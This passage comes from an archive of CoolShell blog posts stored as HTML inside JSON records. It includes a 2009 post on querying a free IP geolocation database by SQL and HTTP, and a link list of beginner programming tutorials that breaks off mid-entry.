src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/222.html\">优秀程序员的十个习惯</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-25 全球IP地址数据库.html",
    "content": "<html><body><p>下面是一个免费的全球IP地址数据库，包括了国家，城市，地区，和经纬度，以便你可以利用Google Map在地图上标注。这个数据库的精确度可能有60%左右。</p>\n<p><a href=\"http://www.blogama.org/ipinfodb.sql.bz2\"><strong>SQL format</strong></a><br/>\n<cite>更新至 2009年3月11日</cite></p>\n<p><a href=\"http://www.blogama.org/ipinfodb_csv.zip\"><strong>CSV format</strong></a> (多文件)<br/>\n<cite>更新至 2009年3月11日</cite></p>\n<p>下面是怎么使用这个数据库。</p>\n<p><span id=\"more-244\"></span></p>\n<p>首先，所有的IP地址都是按一个整形来存放的，假设一个IP地址为A.B.C.D，那么其计算公式如下所示：</p>\n<p style=\"padding-left: 30px;\">ip = (A*256+B)*256+C</p>\n<p>也就是说，它只计算到网段为：A.B.C.0到A.B.C.255。例如：我们有一个IP地址为：74.125.45.100 (google.com)，那么，</p>\n<p style=\"padding-left: 30px;\">ip = (74*256+125)*256+45 = 4881709</p>\n<p>这样，我们可以方便地使用如下的SQL语句搜索数据：</p>\n<p style=\"padding-left: 30px;\">SELECT * FROM <code class=\"EnlighterJSRAW\">ip_group_city</code><br/>\nWHERE<code class=\"EnlighterJSRAW\">ip_start</code> &lt;= 4881709 ORDER BY ip_start DESC LIMIT 1;</p>\n<p>结果会是如下所示：</p>\n<p style=\"padding-left: 30px;\">ip_start|country_code|region_code|city|zipcode|latitude|longitude<br/>\n4881664|US|CA|Mountain View|94043|37.4192|-122.057</p>\n<p>如果你想在线使用这些数据的话，你可以使用如下所示的网址：</p>\n<p>http://blogama.org/ip_query.php?ip=74.125.45.100&amp;output=xml</p>\n<p>于是，你就会得到如下的XML数据：</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;?xml</span> <span style=\"color: #000066;\">version</span>=<span style=\"color: #ff0000;\">“1.0”</span> <span style=\"color: #000066;\">encoding</span>=<span style=\"color: #ff0000;\">“UTF-8”</span><span style=\"font-weight: bold; color: #000000;\">?&gt;</span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Response<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Ip<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>74.125.45.100<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Ip<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Status<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>OK<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Status<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;CountryCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>US<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/CountryCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;CountryName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>United States<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/CountryName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;RegionCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>CA<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/RegionCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n <br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;RegionName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span><span style=\"font-weight: bold; color: #000000;\">&lt;/RegionName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;City<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>Mountain View<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/City<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;ZipPostalCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>94043<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/ZipPostalCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Latitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>37.4192<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Latitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Longitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>-122.057<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Longitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br/>\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Response<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span></p>\n<p>如果你请求的是：</p>\n<p><a href=\"http://blogama.org/ip_query.php?ip=74.125.45.100&amp;output=raw\">http://blogama.org/ip_query.php?ip=74.125.45.100&amp;output=raw</a></p>\n<p>这样你会得到CSV的格式：</p>\n<p>74.125.45.100,OK,US,United States,CA,,Mountain View,94043,37.4192,-122.057</p>\n<p>文章：<a href=\"http://blogama.org/node/58\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2631.html\"><img alt=\"五大基于JVM的脚本语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2554.html\"><img alt=\"Eclipse 3.6 （Helios）新特性\" height=\"150\" src=\"../wp-content/uploads/2010/07/Eclipse-3.6-6-150x150.bmp\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2554.html\">Eclipse 3.6 （Helios）新特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/688.html\"><img alt=\"你能做对下面这些JavaScript的题吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/688.html\">你能做对下面这些JavaScript的题吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1023.html\"><img alt=\"Unix 40年：昨天，今天和明天 \" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2520.html\"><img alt=\"伦敦地铁实时图\" height=\"150\" src=\"../wp-content/uploads/2010/06/London-Live-Train-Map-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2520.html\">伦敦地铁实时图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/244.html\">全球IP地址数据库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-25 非常不错的编程技术教程.html",
    "content": "<html><body><p>下面是一些非常不错的编程教程，当然，全是英文版的。不过因为是新手教程，所以非常容易阅读，可以在学习技术的同时加强一下自己的英语阅读能力。</p>\n<p>如果你是一个新手，建议你把本页设为你的收藏夹。<br/>\n<strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">C</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://devcentral.iftech.com/learning/tutorials/c-cpp/c/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to C Programming </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.abarnett.demon.co.uk/tutorial.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Optimization Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/c-on-unix/c-on-unix.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Compiling C and C++ Programs on UNIX Systems</span><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"><span style=\"color: #667b04;\"> </span></span><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">– gcc/g++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/libraries/unix-c-librarieshtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Building and Using Static and Shared C Libraries </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cm.cf.ac.uk/Dave/C/CE.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in C: UNIX System Calls and Subroutines Using C </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.eskimo.com/~scs/C-faq/top.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.eskimo.com/~scs/cclass/cclass.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Programming Class Notes </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.gustavo.net/programming/c__tutorials.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">ANSI C for Programmers on UNIX Systems </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/0672310686/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself C in 24 Hours </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/0672310694/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself C in 21 Days (4th Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue24/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux – Part 1: file functions </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue31/rogers1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux – Part 2: character input/output </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue32/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux – Part 3: formatted input/output </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue38/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux – Part 4: Character Handling </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.linuxgazette.com/issue39/rogers.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">The Standard C Library for Linux – Part 5: Miscellaneous Functions </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.lysator.liu.se/c/bwk-tutor.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Programming in C: A Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.redhat.com/devnet/whitepapers/intro_dev/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to C Development on Linux </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.strath.ac.uk/CC/Courses/CCourse/CCourse.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Programming Course </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.swcp.com/~dodrill/cdoc/clist.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C Language Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.syclus.com/cscene/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CScene: An Online Magazine for C and C++ Programming </span></a><br/>\n<span id=\"more-240\"></span><br/>\n<strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">C++</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://computers.iwz.com/prog/cpp/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://devcentral.iftech.com/learning/tutorials/c-cpp/cpp/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Understanding C++: An Accelerated Introduction </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://devcentral.iftech.com/learning/tutorials/c-cpp/sst/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">An Introduction to C++ Class Hierarchies </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://egcs.cygnus.com/onlinedocs/g++FAQ_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">G++ FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://uu-gna.mit.edu:8001/uu-gn/atext/cc/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Introduction to Object-Oriented Programming Using C++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.actcom.co.il/~choo/lupg/tutorials/c-on-unix/c-on-unix.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Compiling C and C++ Programs on UNIX Systems – gcc/g++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cerfnet.com/~mpcline/c++-faq-lite/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ FAQ Lite </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.wustl.edu/~schmidt/C++/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Programming Language Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_cppdepend.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Reducing Dependencies in C++ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_exceptions.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Exception Handling </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_strings01.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 1: Unicode </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.flipcode.com/tutorials/tut_strings02.shtml\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Part 2: A Complete String Class </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informatik.uni-frankfurt.de/~fp/Tcl/tcl-c++/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Making C++ Loadable Modules Work </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/0672310708/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself C++ in 21 Days (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.mozilla.org/hacking/portable-cpp.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Portability Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.ses.com/~clarke/cpptips.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Tips </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.swcp.com/~dodrill/cppdoc/cpplist.htm\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Language Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.syclus.com/cscene/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CScene: An Online Magazine for C and C++ Programming </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.trumphurst.com/cpplibs1.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">C++ Libraries FAQ </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CGI</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www.acm.vt.edu/~scott/cgi.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cgi101.com/class/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming 101 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1562763970/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Manual of Style </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575210878/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Developer’s Guide </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575211513/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming Unleashed </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/1575211963/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself CGI Programming with Perl 5 in a Week (2nd Ed.) </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.speakeasy.org/~cgires/cgi-tips.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI/Perl Tips, Tricks and Hints </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.speakeasy.org/~cgires/cgi-tour.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Tour of HTML Forms and CGI Scripts </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.speakeasy.org/~cgires/readdat/aindex.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Reading CGI Data: URL-Encoding and the CGI Protocol </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.webthing.com/tutorials/cgifaq.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CGI Programming FAQ </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CORBA</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://www.cerfnet.com/~mpcline/corba-faq/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA FAQ </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.indiana.edu/hyplan/kksiazek/tuto.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">A Brief Tutorial on CORBA </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.wustl.edu/~schmidt/CORBA-docs/index.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA 2.0 Specification </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.cs.wustl.edu/~schmidt/tutorials-corba.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Tutorials </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.informit.com/product/0672312085/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Sams Teach Yourself CORBA in 14 Days </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue48/2336.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Linux Network Programming, Part 3 – CORBA: The Software Bus </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue61/3201.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Program Development, Part 1 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue62/3213.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Program Development, Part 2 </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www2.linuxjournal.com/lj-issues/issue63/3214.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CORBA Program Development, Part 3 </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CSS</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://richinstyle.com/guides/css2.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CSS2 Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">CVS</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a href=\"http://cellworks.washington.edu/pub/docs/cvs/tutorial/cvs_tutorial_toc.html\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">CVS Tutorial </span></a><span style=\"text-decoration: underline;\"><span style=\"color: blue;\"><br/>\n</span></span><a href=\"http://www.csc.calpoly.edu/~dbutler/tutorials/winter96/cvs/\" target=\"_blank\"><span style=\"font-size: 10pt; color: #23238e; font-family: Verdana, sans-serif;\">Concurrent Version System Tutorial </span></a></p>\n<p><strong><span style=\"font-size: 18pt; font-family: Verdana, sans-serif;\">DHTML</span></strong><span style=\"font-size: 10pt; font-family: Verdana, sans-serif;\"> </span><br/>\n<a 